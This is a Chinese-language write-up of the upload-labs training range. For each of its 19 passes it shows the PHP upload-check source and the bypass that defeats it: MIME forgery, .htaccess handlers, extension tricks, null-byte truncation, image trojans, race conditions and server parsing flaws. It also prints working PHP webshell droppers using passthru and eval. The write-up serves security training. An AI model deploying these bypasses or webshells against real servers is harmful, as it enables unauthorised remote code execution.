upload-labs19记录
0x01:前言
本次做题为白盒,因为只是fuzz的话并不能学到什么,所以从漏洞源下手。
0x02 前端校验
Pass1
源码
function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }
通过审计代码发现,该上传为前端校验式上传,上传文件限制类型为,此时上传其他后缀名的文件会在上传页面弹窗提示类型错误。且抓包是抓不到数据的,也就是说点击上传按钮并没有数据与后台交互。
虽然确实不能上传其他后缀,但是抓包即可破解。
0x03 后端校验
Pass2
源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH . $_FILES['upload_file']['name']; $is_upload = true; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } }
可以看到后台获取了HTTP head 的type属性,通过这个属性判断是否通过上传,由于contenType可由客户端自由修改,因此只要修改文件类型符合,任何后缀文件都可以被上传
因此抓包改Type即可绕过
Pass3
源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name']; $is_upload = true; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
分析源码不难看到这里使用的是黑名单模式
而且过滤非常的少,那就有很多利用方法了,比如使用一些没有过滤的后缀,那么哪些是可以使用的后缀且可以被解析为php文件的呢,尽管现在不知道,但是可以去Pass4看一下。
".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"
有这么多都是Pass3中没有过滤的,所以更改马的后缀为php3直接上传。
但是这些后缀可以被解析是有原因的,查看/etc/httpd/conf/httpd.conf文件 如果包含
AddType application/x-httpd-php .php .phtml .phps .php5 .pht...
则说明这些后缀的文件可以被解析为php文件。
如果没有,则是另一种解法,尝试使用.htaccess,注:.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
这里需要开启mod_rewrite模块,在GitHub项目作者也有要求开启,否则部分上传无法bypass。
开启方法:在apache下http.conf改配置,将None改为All,重启apache:
我们只需要在.htaccess文件内写如下代码
SetHandler application/x-httpd-php .jpg
然后上传.htaccess文件,接着上传.jpg文件就会被解析为.php文件。
Pass4
源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH . $_FILES['upload_file']['name']; $is_upload = true; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
依旧是黑名单,几乎过滤了所有能用的后缀,但是可以发现.htaccess并未被过滤,所以方法如上Pass3。
Pass5
源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH . '/' . $file_name; $is_upload = true; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
依旧是黑名单,这次我们发现可利用的后缀已经都被堵死了,连.htaccess也没有幸免,但是比较Pass4可以发现Pass5在后缀名操作上少了一步,即将后缀统一转化为小写。
那么利用点就有了,可以将php后缀以Php的形式绕过后端检测
Pass6
源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH . '/' . $file_name; $is_upload = true; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
黑名单依然是堵的挺不错,我们继续把Pass6和Pass4对比(至于为什么和Pass4对比,是因为Pass4在后缀名处理这方面相对于下面几个是没有缺陷的)
可以发现Pass6少了
也就是少了收尾去空的操作,也就是说可以通过修改文件名为php 绕过
Pass7
源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH . '/' . $file_name; $is_upload = true; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
继续把Pass7和Pass4对比,可以发现Pass7少了
也就是少了删除文件名末尾点的操作,也就是说可以通过修改文件名为.php. 绕过
Pass8
源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH . '/' . $file_name; $is_upload = true; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
继续把Pass8和Pass4对比,可以发现Pass8少了
在php+windows的情况下:如果文件名+"::$DATA,::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。
所以绕过方法为:在文件后缀加::$DATA
参考:https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream
Pass9
源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH . '/' . $file_name; $is_upload = true; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
依然是黑名单过滤,观察代码,比之Pass4发现Pass9第15行和之前不太一样,程序先是去除文件名前后的空格,再去除文件名最后所有的点,再通过strrchar来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而是使用的原始的文件名,
虽然有去末位点和去首位空格的操作
但是并不是循环处理的
所以可以这样构造
1.php. .
这样经过一轮处理后,变为1.php.
然后操作如Pass7一样
Pass10
源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $file_name)) { $img_path = UPLOAD_PATH . '/' .$file_name; $is_upload = true; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
通过审计代码发现,这里采用的是str_ireplace() 函数,使用一个字符串替换字符串中的另一些字符。也就是将$deny_ext中的文件名替换为空。但是他并没有循环过滤,这就导致了漏洞点,也就是双写即可绕过。
Pass11
源码
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else{ $msg = '上传失败!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
白名单方式过滤,我们分析关键代码
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
发现/后的路径是没有处理直接拼接的,同时,save_path变量是可控的
所以我们可以采用00截断,由于我的php版本高于5.3.4,所以无法演示。
具体操作为:
Pass12
源码
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else{ $msg = "上传失败"; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
可以看到,相比于Pass11,只是GET传参方式变为了POST,所以方法大同小异,值得注意的是,POST方式需要在二进制修改,因为POST不会像GET对%00进行自动解码。或者也可以使用url-decode进行编码之后进行上传文件,同样可以解析成功
内容检测问题
Pass13
源码
function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else{ $msg = "上传失败"; } } }
我们看关键点
可以看到程序只读取文件的前两字节,也就是说使用图片马即可,图片马的制作用copy命令
copy 1.jpg/b + 1.txt/a 3.jpg
只要将木马添加到jpg文件尾部即可
Pass14
关键代码
$info = getimagesize($filename); $ext = image_type_to_extension($info[2]);
通过image_type_to_extension函数 — 根据指定的图像类型返回对应的后缀名。获取图像类型,绕过方法同Pass13
Pass15
关键代码
function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } }
通过exif_imagetype() 函数— 判断一个图像的类型,同样可以使用Pass13方法绕过
Pass16
关键代码
$im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "该文件不是jpg格式的图片!"; }else{ //给新图片指定文件名
通过imagecreatefromjpeg() 函数— 判断一个图像的类型,同样可以使用Pass13方法绕过
0x04 条件竞争问题
Pass17
关键代码
if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传失败!'; }
有时候上传的文件,服务端会将其删除或是重命名
这里就需要用到条件竞争的方式
方式也很简单
即用Burp不断上传,再用burp不断访问
一般常见的上传内容为
<?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["cmd"]);?>');?>
这样在你访问到的同时,就会在当前目录写下一个shell,下次就不用竞争利用了
Pass18
同Pass17,也存在条件竞争,方法相同。
Pass19
源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { $is_upload = true; }else{ $msg = '上传失败!'; } }else{ $msg = '禁止保存为该类型文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
原因出在move_uploaded_file()函数
该函数会递归删除文件名最后的/.
所以上传文件名为1.php/.即可绕过
补充:
0x05 畸形解析
IIS 6.0
IIS 6.0解析利用方法有三种:
1.目录解析
建立xx.asp为名称的文件夹,将asp文件放入,访问/xx.asp/xx.jpg,其中xx.jpg可以为任意文件后缀,即可解析
2.文件解析
后缀解析:/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)
3.默认解析
IIS6.0 默认的可执行文件除了asp还包含这三种
/wooyun.asa
/wooyun.cer
/wooyun.cdx
IIS 7.0/7.5
在正常图片URL后添加 /.php
小马如下
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>
后缀解析:test.php.x1.x2.x3
Apache
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析
test.php.x1.x2.x3则会被解析为php
Nginx<8.03
法1:同IIS 7.0/7.5
法2:xxx.jpg%00.php
0x05 结语
上传姿势还有很多,据环境会有许多变形,但是造成上传漏洞的原因,很大程度取决于代码的处理不当或是配置错误。